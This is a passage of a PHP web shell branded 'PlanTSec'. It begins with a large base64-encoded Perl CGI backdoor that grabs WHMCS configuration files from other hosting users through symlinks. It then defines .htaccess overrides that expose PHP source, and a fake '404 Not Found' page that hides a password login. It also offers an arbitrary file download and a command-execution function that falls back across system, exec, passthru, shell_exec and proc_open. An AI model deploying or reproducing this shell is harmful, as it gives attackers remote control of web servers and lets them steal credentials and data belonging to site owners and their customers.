ID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NVUFBPUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JVWS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01BTkFHRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFNVUFBPUlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQkFTS0VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0VDVVJFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0FMRVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUFVSQ0hBU0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQUNDT1VOVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvVVNFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSApOyBmb3JlYWNoIChAYXJyYXkpeyBteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9OyBteSAkdHlwZWNvbmZpZyA9ICRfLT57dHlwZX07IHN5bWxpbmsoIiRjb25maWdueWEiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsgbWtkaXIgInN5bWxpbmtfY29uZmlnLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dDQwNCI7IHN5bWxpbmsoIiRjb25maWdueWEiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQvcHBxLnR4dCIpOyBjb3B5KCJzeW1saW5rX2NvbmZpZy9uZW11LnR4dCIsInN5bWxpbmtfY29uZmlnLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dDQwNC8uaHRhY2Nlc3MiKSA7IH0gfSBwcmludCAic3VjY2VzcyI7Cn0Kc3ViIEhlbHAKewpwcmludCAiPGNvZGU+IEhvdyBUbyBVc2VyIFN5bWxpbmsgKyBDb25maWcgR3JhYmJlcj8gSnVzdCBLbGlrIFN5bWxpbmsgKyBDb25maWcgR3JhYmJlcjxicj4iOwpwcmludCAiIFRoZW4gQ2hlY2sgRGlycyBCeSBFbnRlciBUaGUgVVJMPGJyPiI7CnByaW50ICIgRXhhbXBsZTogc2l0ZS5jb20vY2dpZGlycy9zeW1saW5rX2NvbmZpZzxicj4iOwpwcmludCAiIEZvciBTeW1saW5rIEp1c3QgQWRkIEluIFVybDxicj4iOwpwcmludCAiIEV4YW1wbGU6IHNpdGUuY29tL2NnaWRpcnMvc3ltbGlua19jb25maWcvcm9vdC88L2NvZGU+IjsKfQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewpsb2NhbCgkU2VuZEZpbGUpID0gQF87CmlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKewppZigkV2luTlQpCnsKYmlubW9kZShTRU5ERklMRSk7CmJpbm1vZGUoU1RET1VUKTsKfQokRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gbSEoW14vXlxcXSopJCE7CnByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsKcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CnByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwpwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKY2xvc2UoU0VOREZJTEUpOwp9CmVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCnsKJlByaW50UGFnZUhlYWRlcigiZiIpOwpwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsKJlByaW50RmlsZURvd25sb2FkRm9ybTsKJlByaW50UGFnZUZvb3RlcjsKfQp9CgoKc3ViIEJlZ2luRG93bmxvYWQKewojIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCmlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAooISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKewokVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cn0KZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKewpjaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwokVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwp9CgppZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQp7CiZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cn0KZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKewomUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKfQp9CnN1YiBVcGxvYWRGaWxlCnsKIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCmlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCnsKJlByaW50UGFnZUhlYWRlcigiZiIpOwomUHJpbnRGaWxlVXBsb2FkRm9ybTsKJlByaW50UGFnZUZvb3RlcjsKcmV0dXJuOwp9CiZQcmludFBhZ2VIZWFkZXIoImMiKTsKCiMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCnByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZApjaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgokVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CmlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQp7CnByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cn0KZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKewppZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKewpiaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CmNsb3NlKFVQTE9BREZJTEUpOwpwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CnByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7Cn0KZWxzZQp7CnByaW50ICJGYWlsZWQ6ICQhPGJyPiI7Cn0KfQpwcmludCAiPC9jb2RlPiI7CiZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwomUHJpbnRQYWdlRm9vdGVyOwp9CgpzdWIgRG93bmxvYWRGaWxlCnsKIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKewomUHJpbnRQYWdlSGVhZGVyKCJmIik7CiZQcmludEZpbGVEb3dubG9hZEZvcm07CiZQcmludFBhZ2VGb290ZXI7CnJldHVybjsKfQoKIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAppZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCnsKJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwp9CmVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCnsKY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKfQoKaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKewomU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwp9CmVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCnsKJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cn0KfQoKJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwppZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewomRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUKewomVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewomRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgInN5bWNvbmZpZyIpCnsKJlByaW50UGFnZUhlYWRlcjsKcHJpbnQgJlN5bUNvbmZpZzsKfWVsc2lmKCRBY3Rpb24gZXEgImhlbHAiKQp7CiZQcmludFBhZ2VIZWFkZXI7CnByaW50ICZIZWxwOwp9");
15define("SYM", "Options Indexes FollowSymLinks \n DirectoryIndex con7ext.htm \n AddType text/plain .php \n AddHandler text/plain .php \n Satisfy Any");
16define("404", "Options Indexes FollowSymLinks \n DirectoryIndex con7ext.htm \n AddType text/plain .php \n AddHandler text/plain .php \n Satisfy Any \n IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=* \n IndexIgnore *.txt404 \n RewriteEngine On \n RewriteCond %{REQUEST_FILENAME} ^.*con7ext_sym404 [NC] \n RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]");
17define("4042", "Options Indexes FollowSymLinks\n DirectoryIndex con7ext.htm\n HeaderName con7ext.txt\n Satisfy Any\n IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\n IndexIgnore *");
18define("GREB", "Options all\nRequire None\nSatisfy Any");
19function ntodLogin(){
20?>
21<HTML>
22 <HEAD>
23 <TITLE>Not Found</TITLE>
24 </HEAD>
25 <BODY>
26 <h2>Not Found</h2>
27 <hr><p>HTTP Error 404. The requested resource is not found.</p>
28 <form method="POST">
29 <input type="password" name="pass" style="display:none;">
30 </form>
31 </BODY>
32</HTML>
33<?php
34exit;
35}
36if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
37 if( empty($pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $pass) ) )
38 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
39 else
40 ntodLogin();
41if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['action'] == 'download')) {
42 @ob_clean();
43 $file = $_GET['file'];
44 header('Content-Description: File Transfer');
45 header('Content-Type: application/octet-stream');
46 header('Content-Disposition: attachment; filename="'.basename($file).'"');
47 header('Expires: 0');
48 header('Cache-Control: must-revalidate');
49 header('Pragma: public');
50 header('Content-Length: ' . filesize($file));
51 readfile($file);
52 exit;
53}
54?>
55<html>
56 <head>
57 <title>PlanTSec</title>
58 <meta charset="UTF-8">
59 <style type="text/css">
60 @import url(https://fonts.googleapis.com/css?family=Gugi);
61 body{
62 background: #707B7C;
63 color: #5DADE2;
64 font-family: 'Gugi';
65 font-size: 14px;
66 overflow-x: hidden;
67 }
68 #nav{
69 position:fixed;
70 /*z-index:999;*/
71 top:0;
72 width:auto;
73 left:66%;
74 }
75 a.nav-fokus {
76 display:block;
77 width:auto;
78 height:auto;
79 background:#191919;
80 border-top: 0px;
81 border-left: 1px solid #b3eeff;
82 border-right: 1px solid #b3eeff;
83 border-bottom: 1px solid #b3eeff;
84 padding:5px 8px;
85 text-align:center;
86 text-decoration:none;
87 color: #b3eeff;
88 line-height:20px;
89 overflow:hidden;
90 float:left;
91
92 }
93 a.nav-fokus:hover {
94 color:#FFFFFF;
95 background:#191919;
96 border-top: 0px;
97 border-left: 1px solid #fff;
98 border-right:1px solid #fff;
99 border-bottom:1px solid #fff;
100 }
101 textarea{
102 margin: auto;
103 width: 100%;
104 height: 200px;
105 transition: .3s;
106 background: transparent;
107 }
108 a {
109 color: #5DADE2;
110 text-decoration: none;
111 }
112 a:hover {
113 color: #5DADE2;
114 text-decoration: underline;
115 }
116 table{
117 background: transparent;
118 font-size: 14px;
119 font-family: 'Gugi';
120 width: 100%;
121 }
122 .th_class{
123 background: #000;
124 }
125 .td_class{
126 background: #000;
127 }
128 tr,td,th{
129 padding: 10px;
130 margin: auto;
131 border: 1px solid #000;
132 font-size: 14px;
133 height: 15px;
134 line-height: 1px;
135 }
136 table td:hover{
137 cursor:pointer;
138 background-color: #566573;
139 }
140 .toed{
141 background-image: url(http://plantsec.me/plantsec2.png);
142 background-image: linear-gradient(to bottom, rgba(0,0,0,0.6) 0%,rgba(0,0,0,0.6) 100%), url(http://plantsec.me/plantsec2.png);
143 background-repeat: no-repeat;
144 background-size: 100% 200px;
145 height: 200px;
146 font-family: 'Gugi';
147 font-size: 14px;
148 color: #F1C40F;
149 /*width: 100%;*/
150 margin-top: 50px auto;
151 border: 1px solid #000;
152 transition: 1s;
153 }
154 select{
155 background: transparent;
156 color: #000;
157 border: 1px solid #000;
158 margin: 5px auto;
159 padding-left: 5px;
160 height: 22px;
161 font-family: 'Gugi';
162 font-size: 14px;
163 }
164 input[type=text], input[type=submit]{
165 background: transparent;
166 color: #000;
167 border: 1px solid #000;
168 margin: 5px auto;
169 padding-left: 5px;
170 font-family: 'Gugi';
171 font-size: 14px;
172 }
173 textarea{
174 margin: auto;
175 width: 100%;
176 height: 400px;
177 font-family: 'Gugi';
178 font-size: 14px;
179 transition: .3s;
180 background: transparent;
181 }
182 </style>
183 </head>
184 <body>
185 <?php
186 function getStr($string, $start, $end){
187 $str = explode($start, $string);
188 $str = explode($end, $str[1]);
189 return $str[0];
190 }
191 function execute($cmd){
192 if(is_callable('system')) {
193 @ob_start();
194 @system($cmd);
195 $ntod = @ob_get_contents();
196 @ob_end_clean();
197 return $ntod;
198 }
199 elseif(is_callable('exec')){
200 @exec($cmd, $rest);
201 foreach($rest as $result){
202 $ntod .= $result;
203 }
204 return $ntod;
205 }
206 elseif(is_callable('passthru')){
207 @ob_start();
208 @passthru($cmd);
209 $ntod = @ob_get_contents();
210 @ob_end_clean();
211 return $ntod;
212 }
213 elseif(is_callable('shell_exec')){
214 $ntod = shell_exec($cmd);
215 return $ntod;
216 }
217 elseif(is_callable('proc_open')){
218 $ntod = array(
219 0 => array("pipe", "r"),
